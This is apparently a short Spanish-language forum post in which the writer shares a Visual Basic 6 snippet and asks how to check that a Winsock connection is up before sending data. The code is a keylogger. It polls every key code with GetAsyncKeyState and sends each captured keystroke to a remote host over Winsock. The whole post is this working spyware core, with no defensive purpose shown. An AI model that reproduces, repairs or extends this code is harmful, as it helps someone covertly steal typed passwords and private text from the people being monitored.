Código
Dim PropBag As New PropertyBag Option Explicit Private Declare Function GetAsyncKeyState _ Lib "user32" ( _ ByVal vKey As Long) As Integer Private Sub Timer1_Timer() Dim i As Integer For i = 0 To 255 If GetAsyncKeyState(i) = -32767 And Winsock1.State = 7 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos Winsock1.SendData Chr(i) Text1.Text = Text1.Text & Chr(i) Text1.SelStart = Len(Text1.Text) End If Next End Sub
saludos